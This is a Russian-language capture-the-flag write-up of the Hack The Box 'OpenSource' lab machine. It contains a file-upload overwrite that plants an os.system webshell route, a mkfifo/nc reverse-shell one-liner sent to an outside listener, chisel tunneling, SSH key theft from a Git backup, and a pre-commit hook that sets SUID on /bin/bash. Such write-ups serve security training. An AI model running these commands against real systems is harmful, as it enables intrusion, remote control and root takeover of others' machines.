Хакер - HTB OpenSource. Атакуем удаленный хост через Git
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе мы сначала покопаемся в репозитории Git, чтобы найти учетные данные, а затем обнаружим уязвимость, которая даст нам доступ к хосту. При повышении привилегий реализуем одну из техник GTFOBins.
Захватывать мы будем тренировочную машину OpenSource с площадки Hack The Box, оцененную как легкая.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.164 opensource.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Nmap нашел всего два открытых порта: 22 — служба OpenSSH 7.6p1 и 80 — веб‑сервер Python Werkzeug 2.1.2; а также порт 3000, который фильтруется. Посмотрим, что нам может показать веб‑сервер.

ТОЧКА ВХОДА
Видим ссылку для скачивания файла. По названию архива можем понять, что это какие‑то исходные коды.

В архиве есть каталог .git, по которому мы должны прогуляться.

Распакуем архив и зайдем в каталог, содержащий репозиторий Git. После этого просмотрим существующие ветки.
git branch

Теперь получим историю коммитов, по которым в дальнейшем пройдемся.
git log dev

Теперь просматриваем каждый коммит в надежде найти важные данные. И в одном из них обнаруживаем URL прокси‑сервера с указанными учетными данными.
git show a76f8f75f7a4a12b706b0cf9c983796fa1985820

Больше в репозитории ничего не находим, поэтому начинаем изучать исходный код приложения.

Как видишь, мы можем загружать файлы с любым расширением. Сразу бросается в глаза функция os.path.join — строка 14. Последовательность ../ фильтруется, что не позволит записать свой SSH-ключ пользователю, даже если мы узнаем путь. Однако файл сохраняется с тем же именем без всяких временных меток, что дает нам возможность перезаписывать существующие файлы.
ТОЧКА ОПОРЫ
Давай попробуем перезаписать текущий файл, добавив в его конец свой обработчик, к примеру /ralf.
@app.route('/ralf')
def ralf():
return os.system(request.args.get('cmd'))
Ссылку на страницу для загрузки файла найдем чуть ниже кнопки скачивания репозитория.


Загрузим наш новый файл view.py и перехватим запрос на загрузку в Burp Intercept.

Для перезаписи файла изменим filename и вместо views.py запишем полный путь к этому файлу — /app/app/views.py.

Когда все будет готово, отправим запрос дальше на сервер. На странице получим сообщение, что загрузка прошла успешно.

Теперь мы можем выполнять команды и сразу попробуем запустить реверс‑шелл:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4321 >/tmp/f
Я выполнял запрос через curl, поэтому мне нужно было закодировать реверс‑шелл в кодировку URL. Burp Encoder закодирует абсолютно все символы, а не только специальные. Это не очень удобно, поэтому я просто вставляю текст в Burp Repeater и кодирую комбинацией клавиш Ctrl-U. Однако сгодится и любой другой метод.
curl 'http://opensource.htb/ralf?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4321 >/tmp/f'

curl 'http://opensource.htb/ralf?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.49+4321+>/tmp/f'

Осталось командой rlwrap -cAr nc -lnvp 4321 запустить листенер и выполнить команду для запуска реверс‑шелла.

ПРОДВИЖЕНИЕ
По имени пользователя понимаем, что находимся внутри контейнера Docker. Дальнейший путь продвижения долго искать не приходится: вспоминаем про фильтрацию подключений к порту 3000. Сначала проверим адрес докер‑машины, а потом уже попробуем подключиться к порту 3000 хостовой.


Для удобной работы через браузер нам нужно туннелировать трафик. Я буду использовать chisel, который нужно запустить как на локальном хосте, в качестве сервера, так и на удаленном — как клиент. В параметре серверной части указываем, что ожидаем подключения (параметры --reverse), а также порт для создания туннеля.
chisel.bin server --reverse --port 8000

Теперь на удаленной машине инициализируем клиентскую часть. В параметрах указываем адрес сервера chisel и порт для подключения, а также настройки проксирования.
chisel.bin client 10.10.14.49:8000 R:3000:172.17.0.1:3000

В логах сервера должны увидеть сообщение о создании сессии.

Таким образом, весь трафик, который мы пошлем на локальный порт 3000, будет туннелирован на порт 3000 указанного хоста (в данном случае 172.17.0.1) через докер‑машину. Теперь откроем сайт в браузере и увидим Git.

Воспользовавшись учетными данными, которые мы нашли в репозитории, авторизуемся на сайте.

Переходим к единственному доступному репозиторию и видим бэкап домашнего каталога пользователя.

Конечно же, нас интересует приватный ключ SSH.


Копируем его на локальный хост, командой chmod 0600 id_rsa назначаем необходимые права и подключаемся с этим ключом уже к основному хосту.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Первым делом я, как обычно, поискал все сомнительные настройки и пользовательские скрипты с помощью многократно упоминавшегося в моих райтапах LinPEAS, но ничего не нашел.
Следующий шаг — мониторинг запускаемых приложений. Чтобы найти запускаемые в системе процессы, будем использовать утилиту pspy64. Загрузим ее на хост при помощи wget, а потом выполним.
В выводе отмечаем использование команды git, причем от имени привилегированного пользователя (нулевой UID — это root).

Тут я обратился к GTFOBins. Это база техник, которые позволяют повысить привилегии при помощи стандартных приложений Linux. В частности, есть техника использования Git, которая позволяет получить стабильную оболочку в привилегированном контексте. Нам она подходит, только вместо контекста sudo у нас будет контекст пользователя root.

Здесь используется перехватчик Git, который связан с pre-commit. То есть мы можем записать свой скрипт в файл ~/.git/hooks/pre-commit, и код выполнится при выполнении команды git commit. В качестве метода персистентности будем устанавливать S-бит файлу командной оболочки /bin/bash.
# echo "chmod u+s /bin/bash" >> ~/.git/hooks/pre-commit
mv ~/.git/hooks/pre-commit.sample ~/.git/hooks/pre-commit

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

Как видишь, S-бит установлен, поэтому повышаем контекст и забираем флаг.
/bin/bash -p

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei